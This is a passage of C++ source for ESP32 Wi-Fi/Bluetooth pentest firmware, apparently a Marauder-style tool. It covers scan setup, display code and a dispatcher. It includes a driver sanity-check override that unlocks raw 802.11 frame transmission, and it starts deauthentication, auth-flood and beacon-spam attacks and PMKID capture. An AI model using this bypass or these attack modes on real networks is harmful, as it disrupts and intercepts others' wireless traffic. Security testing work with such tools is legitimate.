WiFiScan.cpp 91 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_AP)
  238. RunBeaconScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  240. RunAPScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_PWN)
  244. RunPwnScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_DEAUTH)
  246. RunDeauthScan(scan_mode, color);
  247. else if (scan_mode == WIFI_PACKET_MONITOR) {
  248. #ifdef HAS_SCREEN
  249. RunPacketMonitor(scan_mode, color);
  250. #endif
  251. }
  252. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  253. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  254. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  256. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  258. else if (scan_mode == WIFI_ATTACK_AUTH)
  259. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  260. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  262. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  263. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  264. else if (scan_mode == BT_SCAN_ALL) {
  265. #ifdef HAS_BT
  266. RunBluetoothScan(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == BT_SCAN_SKIMMERS) {
  270. #ifdef HAS_BT
  271. RunBluetoothScan(scan_mode, color);
  272. #endif
  273. }
  274. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  275. RunEspressifScan(scan_mode, color);
  276. else if (scan_mode == LV_JOIN_WIFI) {
  277. #ifdef HAS_SCREEN
  278. RunLvJoinWiFi(scan_mode, color);
  279. #endif
  280. }
  281. else if (scan_mode == LV_ADD_SSID) {
  282. #ifdef HAS_SCREEN
  283. RunLvJoinWiFi(scan_mode, color);
  284. #endif
  285. }
  286. WiFiScan::currentScanMode = scan_mode;
  287. }
  288. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  289. // Common wifi attack configurations
  290. #ifdef HAS_SCREEN
  291. display_obj.TOP_FIXED_AREA_2 = 48;
  292. display_obj.tteBar = true;
  293. display_obj.print_delay_1 = 15;
  294. display_obj.print_delay_2 = 10;
  295. display_obj.initScrollValues(true);
  296. display_obj.tft.setTextWrap(false);
  297. display_obj.tft.setTextColor(TFT_BLACK, color);
  298. display_obj.tft.fillRect(0,16,240,16, color);
  299. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  300. display_obj.touchToExit();
  301. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  302. #endif
  303. packets_sent = 0;
  304. esp_wifi_init(&cfg);
  305. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  306. esp_wifi_set_mode(WIFI_AP_STA);
  307. esp_wifi_start();
  308. esp_wifi_set_promiscuous_filter(NULL);
  309. esp_wifi_set_promiscuous(true);
  310. esp_wifi_set_max_tx_power(78);
  311. this->wifi_initialized = true;
  312. initTime = millis();
  313. }
  314. bool WiFiScan::shutdownWiFi() {
  315. if (this->wifi_initialized) {
  316. esp_wifi_set_promiscuous(false);
  317. WiFi.disconnect();
  318. WiFi.mode(WIFI_OFF);
  319. esp_wifi_set_mode(WIFI_MODE_NULL);
  320. esp_wifi_stop();
  321. esp_wifi_deinit();
  322. this->wifi_initialized = false;
  323. return true;
  324. }
  325. else {
  326. return false;
  327. }
  328. }
  329. bool WiFiScan::shutdownBLE() {
  330. #ifdef HAS_BT
  331. if (this->ble_initialized) {
  332. pBLEScan->stop();
  333. pBLEScan->clearResults();
  334. BLEDevice::deinit();
  335. this->ble_initialized = false;
  336. return true;
  337. }
  338. else {
  339. return false;
  340. }
  341. #endif
  342. return true;
  343. }
  344. // Function to stop all wifi scans
  345. void WiFiScan::StopScan(uint8_t scan_mode)
  346. {
  347. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  348. (currentScanMode == WIFI_SCAN_AP) ||
  349. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  350. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  351. (currentScanMode == WIFI_SCAN_PWN) ||
  352. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  353. (currentScanMode == WIFI_SCAN_EAPOL) ||
  354. (currentScanMode == WIFI_SCAN_ALL) ||
  355. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  356. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  357. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  358. (currentScanMode == WIFI_ATTACK_AUTH) ||
  359. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  360. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  361. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  362. (currentScanMode == WIFI_PACKET_MONITOR) ||
  363. (currentScanMode == LV_JOIN_WIFI))
  364. {
  365. this->shutdownWiFi();
  366. }
  367. else if ((currentScanMode == BT_SCAN_ALL) ||
  368. (currentScanMode == BT_SCAN_SKIMMERS))
  369. {
  370. #ifdef HAS_BT
  371. this->shutdownBLE();
  372. #endif
  373. }
  374. #ifdef HAS_SCREEN
  375. display_obj.display_buffer->clear();
  376. //Serial.print("display_buffer->size(): ");
  377. Serial.println(display_obj.display_buffer->size());
  378. display_obj.tteBar = false;
  379. #endif
  380. }
  381. String WiFiScan::getStaMAC()
  382. {
  383. char *buf;
  384. uint8_t mac[6];
  385. char macAddrChr[18] = {0};
  386. esp_wifi_init(&cfg);
  387. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  388. esp_wifi_set_mode(WIFI_MODE_NULL);
  389. esp_wifi_start();
  390. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  391. this->wifi_initialized = true;
  392. sprintf(macAddrChr,
  393. "%02X:%02X:%02X:%02X:%02X:%02X",
  394. mac[0],
  395. mac[1],
  396. mac[2],
  397. mac[3],
  398. mac[4],
  399. mac[5]);
  400. this->shutdownWiFi();
  401. return String(macAddrChr);
  402. }
  403. String WiFiScan::getApMAC()
  404. {
  405. char *buf;
  406. uint8_t mac[6];
  407. char macAddrChr[18] = {0};
  408. esp_wifi_init(&cfg);
  409. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  410. esp_wifi_set_mode(WIFI_MODE_NULL);
  411. esp_wifi_start();
  412. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  413. this->wifi_initialized = true;
  414. sprintf(macAddrChr,
  415. "%02X:%02X:%02X:%02X:%02X:%02X",
  416. mac[0],
  417. mac[1],
  418. mac[2],
  419. mac[3],
  420. mac[4],
  421. mac[5]);
  422. this->shutdownWiFi();
  423. return String(macAddrChr);
  424. }
  425. String WiFiScan::freeRAM()
  426. {
  427. char s[150];
  428. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  429. this->free_ram = String(esp_get_free_heap_size());
  430. return String(s);
  431. }
  432. // Function to start running a beacon scan
  433. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  434. {
  435. sd_obj.openCapture("ap");
  436. Serial.println(text_table4[9] + (String)access_points->size());
  437. #ifdef HAS_SCREEN
  438. display_obj.TOP_FIXED_AREA_2 = 48;
  439. display_obj.tteBar = true;
  440. display_obj.print_delay_1 = 15;
  441. display_obj.print_delay_2 = 10;
  442. display_obj.initScrollValues(true);
  443. display_obj.tft.setTextWrap(false);
  444. display_obj.tft.setTextColor(TFT_WHITE, color);
  445. display_obj.tft.fillRect(0,16,240,16, color);
  446. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  447. display_obj.touchToExit();
  448. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  449. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  450. #endif
  451. esp_wifi_init(&cfg);
  452. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  453. esp_wifi_set_mode(WIFI_MODE_NULL);
  454. esp_wifi_start();
  455. esp_wifi_set_promiscuous(true);
  456. esp_wifi_set_promiscuous_filter(&filt);
  457. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  458. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  459. //else
  460. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  461. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  462. this->wifi_initialized = true;
  463. initTime = millis();
  464. }
  465. #ifdef HAS_SCREEN
  466. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  467. display_obj.tft.init();
  468. display_obj.tft.setRotation(1);
  469. #ifdef TFT_SHIELD
  470. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  471. Serial.println("Using TFT Shield");
  472. #else if defined(TFT_DIY)
  473. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  474. Serial.println("Using TFT DIY");
  475. #endif
  476. display_obj.tft.setTouch(calData);
  477. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  478. lv_disp_load_scr(scr);
  479. }
  480. #endif
  481. void WiFiScan::RunClearAPs() {
  482. #ifdef HAS_SCREEN
  483. display_obj.tft.setTextWrap(false);
  484. display_obj.tft.setFreeFont(NULL);
  485. display_obj.tft.setCursor(0, 100);
  486. display_obj.tft.setTextSize(1);
  487. display_obj.tft.setTextColor(TFT_CYAN);
  488. display_obj.tft.println(F(text_table4[9]));
  489. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  490. #else
  491. this->clearAPs();
  492. #endif
  493. }
  494. void WiFiScan::RunClearSSIDs() {
  495. #ifdef HAS_SCREEN
  496. display_obj.tft.setTextWrap(false);
  497. display_obj.tft.setFreeFont(NULL);
  498. display_obj.tft.setCursor(0, 100);
  499. display_obj.tft.setTextSize(1);
  500. display_obj.tft.setTextColor(TFT_CYAN);
  501. display_obj.tft.println(F(text_table4[11]));
  502. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  503. #else
  504. this->clearSSIDs();
  505. #endif
  506. }
  507. void WiFiScan::RunGenerateSSIDs(int count) {
  508. #ifdef HAS_SCREEN
  509. display_obj.tft.setTextWrap(false);
  510. display_obj.tft.setFreeFont(NULL);
  511. display_obj.tft.setCursor(0, 100);
  512. display_obj.tft.setTextSize(1);
  513. display_obj.tft.setTextColor(TFT_CYAN);
  514. display_obj.tft.println(F(text_table4[13]));
  515. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  516. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  517. #else
  518. this->generateSSIDs(count);
  519. #endif
  520. }
  521. void WiFiScan::RunShutdownWiFi() {
  522. #ifdef HAS_SCREEN
  523. display_obj.tft.setTextWrap(false);
  524. display_obj.tft.setFreeFont(NULL);
  525. display_obj.tft.setCursor(0, 100);
  526. display_obj.tft.setTextSize(1);
  527. display_obj.tft.setTextColor(TFT_CYAN);
  528. display_obj.tft.print(F(text_table4[16]));
  529. #endif
  530. if (this->wifi_initialized) {
  531. this->shutdownWiFi();
  532. #ifdef HAS_SCREEN
  533. display_obj.tft.setTextColor(TFT_GREEN);
  534. display_obj.tft.println(F("OK"));
  535. #endif
  536. }
  537. else {
  538. #ifdef HAS_SCREEN
  539. display_obj.tft.setTextColor(TFT_RED);
  540. display_obj.tft.println(F(text17));
  541. display_obj.tft.println(F(text_table4[17]));
  542. #endif
  543. }
  544. }
  545. void WiFiScan::RunShutdownBLE() {
  546. #ifdef HAS_SCREEN
  547. display_obj.tft.setTextWrap(false);
  548. display_obj.tft.setFreeFont(NULL);
  549. display_obj.tft.setCursor(0, 100);
  550. display_obj.tft.setTextSize(1);
  551. display_obj.tft.setTextColor(TFT_CYAN);
  552. display_obj.tft.print(F(text_table4[18]));
  553. #endif
  554. if (this->ble_initialized) {
  555. this->shutdownBLE();
  556. #ifdef HAS_SCREEN
  557. display_obj.tft.setTextColor(TFT_GREEN);
  558. display_obj.tft.println(F("OK"));
  559. #endif
  560. }
  561. else {
  562. #ifdef HAS_SCREEN
  563. display_obj.tft.setTextColor(TFT_RED);
  564. display_obj.tft.println(F(text17));
  565. display_obj.tft.println(F(text_table4[19]));
  566. #endif
  567. }
  568. }
  569. void WiFiScan::RunInfo()
  570. {
  571. String sta_mac = this->getStaMAC();
  572. String ap_mac = this->getApMAC();
  573. String free_ram = this->freeRAM();
  574. //Serial.print("STA MAC: ");
  575. //Serial.println(sta_mac);
  576. //Serial.print("AP MAC: ");
  577. //Serial.println(ap_mac);
  578. Serial.println(free_ram);
  579. #ifdef HAS_SCREEN
  580. display_obj.tft.setTextWrap(false);
  581. display_obj.tft.setFreeFont(NULL);
  582. display_obj.tft.setCursor(0, 100);
  583. display_obj.tft.setTextSize(1);
  584. display_obj.tft.setTextColor(TFT_CYAN);
  585. display_obj.tft.println(text_table4[20]);
  586. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  587. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  588. #endif
  589. if (this->wsl_bypass_enabled) {
  590. #ifdef HAS_SCREEN
  591. display_obj.tft.println(text_table4[23]);
  592. #endif
  593. }
  594. else {
  595. #ifdef HAS_SCREEN
  596. display_obj.tft.println(text_table4[24]);
  597. #endif
  598. }
  599. #ifdef HAS_SCREEN
  600. display_obj.tft.println(text_table4[25] + sta_mac);
  601. display_obj.tft.println(text_table4[26] + ap_mac);
  602. display_obj.tft.println(text_table4[27] + free_ram);
  603. #endif
  604. if (sd_obj.supported) {
  605. #ifdef HAS_SCREEN
  606. display_obj.tft.println(text_table4[28]);
  607. display_obj.tft.print(text_table4[29]);
  608. display_obj.tft.print(sd_obj.card_sz);
  609. display_obj.tft.println("MB");
  610. #endif
  611. }
  612. else {
  613. #ifdef HAS_SCREEN
  614. display_obj.tft.println(text_table4[30]);
  615. display_obj.tft.println(text_table4[31]);
  616. #endif
  617. }
  618. battery_obj.battery_level = battery_obj.getBatteryLevel();
  619. if (battery_obj.i2c_supported) {
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[32]);
  622. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  623. #endif
  624. }
  625. else {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[34]);
  628. #endif
  629. }
  630. #ifdef HAS_SCREEN
